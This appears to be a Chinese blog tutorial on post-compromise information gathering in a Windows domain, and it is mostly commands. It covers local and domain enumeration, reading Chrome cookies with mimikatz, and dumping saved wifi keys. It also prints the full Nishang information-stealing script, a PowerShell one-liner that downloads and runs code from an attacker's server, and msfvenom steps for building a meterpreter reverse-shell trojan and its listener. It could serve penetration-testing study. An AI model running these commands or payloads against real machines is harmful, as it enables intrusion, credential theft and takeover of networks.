• 渗透测试-域环境下的信息收集


    常规信息类收集,应用、服务、权限

    用户信息收集

    1. 查看本机用户列表
    net user
    
    • 1

    在这里插入图片描述

    1. 获取本地管理员信息
    net localgroup administrators
    
    • 1

    在这里插入图片描述

    1. 查看当前在线用户
    quser
    quser user
    query user || qwinsta
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. 查看当前用户在目标系统中的具体权限
    whoami /all
    
    • 1

    在这里插入图片描述

    1. 查看当前权限
    whoami && whoami /priv
    
    • 1

    在这里插入图片描述

    1. 查看当前机器中所有的组名,了解不同组的职能如,IT,HR,ADMIN,FILE
    net localgroup
    
    • 1

    在这里插入图片描述

    系统信息收集

    1. 查询网络配置信息。进行IP地址段信息收集
    ipconfig /all
    
    • 1

    在这里插入图片描述

    1. 查询操作系统及软件信息
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
    
    • 1
    systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
    
    • 1

    在这里插入图片描述

    systeminfo
    
    • 1

    在这里插入图片描述

    1. 查看当前系统版本
      wmic OS get Caption,CSDVersion,OSArchitecture,Version
      在这里插入图片描述

    2. 查看系统体系结构

    echo %PROCESSOR_ARCHITECTURE%
    
    • 1

    在这里插入图片描述

    1. 查询本机服务信息
    wmic service list brief
    
    • 1

    在这里插入图片描述

    1. 查看安装的软件的版本、路径等
    wmic product get name, version
    powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    1. 查询进程信息
    tasklist
    wmic process list brief
    
    • 1
    • 2

    在这里插入图片描述

    1. 查看启动程序信息
    wmic startup get command,caption
    
    • 1

    在这里插入图片描述

    1. 查看计划任务
    at(win10之前)
    schtasks /query /fo LIST /v(win10)
    
    • 1
    • 2

    at(win10之前):
    在这里插入图片描述
    这台win7是域环境下的机器,权限不够,所以拒绝了访问。

    schtasks /query /fo LIST /v(win10):
    在这里插入图片描述

    1. 列出或断开本地计算机与所连接的客户端的对话
    net session
    
    • 1

    在这里插入图片描述
    这里也是因为权限不够导致的。

    1. 查看远程连接信息
    cmdkey /l
    
    • 1

    在这里插入图片描述

    我这里没有远程连接。

    1. 查看补丁列表
    systeminfo | findstr KB
    
    • 1

    在这里插入图片描述

    1. 查看补丁的名称、描述、ID、安装时间等
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    
    • 1

    在这里插入图片描述

    1. 查看杀软
    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
    /Format:List
    
    • 1
    • 2

    在这里插入图片描述
    我这里是没有安装杀软的。

    1. 查看本地密码策略
    net accounts
    
    • 1

    在这里插入图片描述

    1. 查看hosts文件:
    Linux:cat /etc/hosts
    Windows:type c:\Windows\system32\drivers\etc\hosts
    
    • 1
    • 2

    在这里插入图片描述
    命令太多可通过windows的批处理脚本,bat文件和vbs文件。

    wmic_info整合收集:
    https://github.com/gysf666/wmic_info/上传至目标执行即可生成out.html文件在下载到本地即可。
    在这里插入图片描述

    其他信息收集

    1. 回收站内容获取
    FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
    
    • 1

    在这里插入图片描述

    cd C:$Recycle.Bin\S-1-5-21-3845785564-1101086751-683477353-1001
    $I 开头的文件保存的是路径信息
    $R 开头的文件保存的是文件内容

    1. Chrome历史记录和Cookie获取
    %localappdata%\google\chrome\USERDA~1\default\LOGIND~1
    %localappdata%\google\chrome\USERDA~1\default\cookies
    
    • 1
    • 2
    1. chrome的用户信息,保存在本地文件为sqlite 数据库格式
    mimikatz.exe privilege::debug log "dpapi::chrome
    /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
    
    • 1
    • 2
    REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
    ProxyServer
    
    • 1
    • 2
    1. 通过pac文件自动代理情况
    REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
    
    • 1

    在这里插入图片描述

    1. wifi密码
    netsh wlan show profile
    netsh wlan show profile name="xxxx" key=clear
    
    • 1
    • 2
    1. 获取远程端口
    REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 
    
    • 1

    自动信息收集

    powershell脚本
    FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录

    1. Nishang-Gather-Get-Information.ps1下载地址
    https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1
    
    • 1

    Get-Information.ps1脚本

    function Get-Information 
    {
    <#
    .SYNOPSIS
    Nishang Payload which gathers juicy information from the target.
    .DESCRIPTION
    This payload extracts information form registry and some commands. 
    The information available would be dependent on the privilege with which the script would be executed.
    .EXAMPLE
    PS > Get-Information
    Use above to execute the function.
    .LINK
    http://labofapenetrationtester.blogspot.com/
    https://github.com/samratashok/nishang
    #>
        [CmdletBinding()]
        Param ()
    
        function registry_values($regkey, $regvalue,$child) 
        { 
            if ($child -eq "no"){$key = get-item $regkey} 
            else{$key = get-childitem $regkey} 
            $key | 
            ForEach-Object { 
            $values = Get-ItemProperty $_.PSPath 
            ForEach ($value in $_.Property) 
            { 
            if ($regvalue -eq "all") {$values.$value} 
            elseif ($regvalue -eq "allname"){$value} 
            else {$values.$regvalue;break} 
            }}} 
        $output = "Logged in users:`n" + ((registry_values "hklm:\software\microsoft\windows nt\currentversion\profilelist" "profileimagepath") -join "`r`n") 
        $output = $output + "`n`n Powershell environment:`n" + ((registry_values "hklm:\software\microsoft\powershell" "allname")  -join "`r`n") 
        $output = $output + "`n`n Putty trusted hosts:`n" + ((registry_values "hkcu:\software\simontatham\putty" "allname")  -join "`r`n") 
        $output = $output + "`n`n Putty saved sessions:`n" + ((registry_values "hkcu:\software\simontatham\putty\sessions" "all")  -join "`r`n") 
        $output = $output + "`n`n Recently used commands:`n" + ((registry_values "hkcu:\software\microsoft\windows\currentversion\explorer\runmru" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n Shares on the machine:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\LanmanServer\Shares" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n Environment variables:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n More details for current user:`n" + ((registry_values "hkcu:\Volatile Environment" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n SNMP community strings:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n SNMP community strings for current user:`n" + ((registry_values "hkcu:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n Installed Applications:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname")  -join "`r`n") 
        $output = $output + "`n`n Installed Applications for current user:`n" + ((registry_values "hkcu:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname")  -join "`r`n") 
        $output = $output + "`n`n Domain Name:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\" "all" "no")  -join "`r`n") 
        $output = $output + "`n`n Contents of /etc/hosts:`n" + ((get-content -path "C:\windows\System32\drivers\etc\hosts")  -join "`r`n") 
        $output = $output + "`n`n Running Services:`n" + ((net start) -join "`r`n") 
        $output = $output + "`n`n Account Policy:`n" + ((net accounts)  -join "`r`n") 
        $output = $output + "`n`n Local users:`n" + ((net user)  -join "`r`n") 
        $output = $output + "`n`n Local Groups:`n" + ((net localgroup)  -join "`r`n") 
        $output = $output + "`n`n WLAN Info:`n" + ((netsh wlan show all)  -join "`r`n") 
        $output
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    1. 在VPS上开启http服务。
    python3 -m http.server
    
    • 1
    1. 在目标机器运行:
    powershell iex(new-object net.webclient).downloadstring('http://vps-ip:8000/Get-Information.ps1');Get-Information
    
    • 1

    在这里插入图片描述

    MSF自动收集信息

    1. 生成木马文件。
     msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vps-ip lport=9999 -f exe -o demo.exe
    
    • 1

    在这里插入图片描述

    1. 将生成的木马文件上传到目标机器上。
    2. 开启msf监听,配置监听器。
    msfconsole
    use exploit/multi/handler 
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost vps-ip
    set lport 9999
    exploit -j
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    1. 点击木马文件运行,上线msf。
    run scraper
    
    • 1

    在这里插入图片描述

    run winenum
    
    • 1

    在这里插入图片描述

    1. 此时我们已经成功收集到了目标机器的信息。

    run winenum 收集到的信息在 /root/.msf4/logs/scripts/winenum/ZSY_20220808.4252/目录下:

    在这里插入图片描述

    run scraper 收集到的信息在/root/.msf4/logs/scripts/scraper/目录下:

    在这里插入图片描述

    CS自动信息收集插件

    前提已上线域环境的一台机器。

    1. 梼杌
    下载地址:https://github.com/pandasec888/taowu-cobalt-strike
    
    • 1

    在这里插入图片描述

    1. 黑魔鬼
    下载链接:https://github.com/SeaOf0/CSplugins
    
    • 1

    在这里插入图片描述

    架构信息类收集-网络、用户、域控

    网络信息收集

    查看本机所有的tcp,udp端口连接及其对应的pid
    netstat -ano
    
    查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
    netstat -anob
    
    查看本机共享列表和可访问的域共享列表 (445端口)
    net share
    wmic share get name,path,status
    
    查看路由表和arp缓存
    route print
    arp -a
    
    ipconfig /all 通过查询网络信息判断是否在域内
    
    nslookup + dns后缀
    
    whoami /all 用户权限,获取SID
    
    net config workstation 登录信息
    
    net user 本地用户
    
    net localgroup 本地用户组
    
    net user /domain 或 wmic useraccount get /all 获取域用户信息
    
    net group /domain 获取域用户组信息(Enterprise Admins组权限最大)
    
    wmic useraccount get /all 涉及域用户详细信息
    
    net group "Domain Admins" /domain 查询域管理员账户
    
    net group "Enterprise Admins" /domain 查询域系统管理员用户组
    
    net group "Domain Controllers" /domain 查询域控制器
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    有空格的话必须要用双引号引起来,否则windows自动将前边的参数当做命令执行

    net view /domain:域名 查询域内所有计算机
    
    net group "domain computers" /domain 查询所有域成员列表
    
    net accounts /domain 查看域管理策略
    
    net localgroup administrators /domain 登录本机的域管理员
    
    nslookup -q=ns de1ay.com 查看域内DNS服务器定位域控
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    dsquery信息收集
    dsquery工具一般在域控上才有,可以上传一个dsquery

    dsquery computer 查看当前域内的所有机器
    dsquery user 查看当前域中的所有账户名
    dsquery group 查看当前域内的所有组名
    dsquery site 查看域内所有的web站点
    dsquery server 查看当前域中的服务器(一般结果只有域控的主机名)
    dsquery user domainroot -name admin* -limit 240 查询前240个以admin开头的用户名
    nltest /domain_trusts 查询域内信任关系
    nltest /DCLIST:xs 查看域控制器的机器
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    探测域内存活主机

    Netbios协议探测

    Netbios简介:
    IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享Nbtscan

    项目地址:http://www.unixwiz.net/tools/nbtscan.html
    
    • 1

    在这里插入图片描述

    使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。

    Windows: nbtscan.exe –m 10.10.10.0/24 
    Linux: nbtscan -r 10.10.10.0/24
    
    • 1
    • 2

    在这里插入图片描述

    工具信息收集LadanGO、Adfind

    Ladongo

    https://github.com/k8gege/Ladon
    
    • 1
    001 多协议探测存活主机 (IP、机器名、MAC地址、制造商)
    Ladon 192.168.1.8/24 OnlinePC
    002 多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
    Ladon 192.168.1.8/24 OsScan
    003 扫描存活主机
    Ladon 192.168.1.8/24 OnlineIP
    004 ICMP扫描存活主机
    Ladon 192.168.1.8/24 Ping
    005 扫描SMB漏洞MS17010 (IP、机器名、漏洞编号、操作系统版本)
    Ladon 192.168.1.8/24 MS17010
    006 SMBGhost漏洞检测 CVE-2020-0796 (IP、机器名、漏洞编号、操作系统版本)
    Ladon 192.168.1.8/24 SMBGhost
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    Adfind

    列出域控制器名称:
    AdFind -sc dclist
    查询当前域中在线的计算机:
    AdFind -sc computers_active
    查询当前域中在线的计算机(只显示名称和操作系统):
    AdFind -sc computers_active name operatingSystem
    查询当前域中所有计算机:
    AdFind -f "objectcategory=computer"
    查询当前域中所有计算机(只显示名称和操作系统):
    AdFind -f "objectcategory=computer" name operatingSystem
    查询域内所有用户:
    AdFind -users name
    查询所有GPO:
    AdFind -sc gpodmp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    下载地址http://www.joeware.net/freetools/tools/adfind/index.html
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    idea个人常用插件
    VRIO模型
    springboot 如何解决循环依赖
    MATLAB入门-程序控制结构
    Spring 数据校验:Validation
    将本地项目添加到github中的其他办法
    01【SpringBoot快速入门、yml语法、自动配置、整合框架】
    2022年全国最新消防设施操作员(中级消防设施操作员)真题题库及答案
    FPGA - 7系列 FPGA内部结构之Clocking -02- 时钟布线资源
    【新课程】PICO VR 交互开发指南
  • 原文地址:https://blog.csdn.net/qq_61503377/article/details/126218202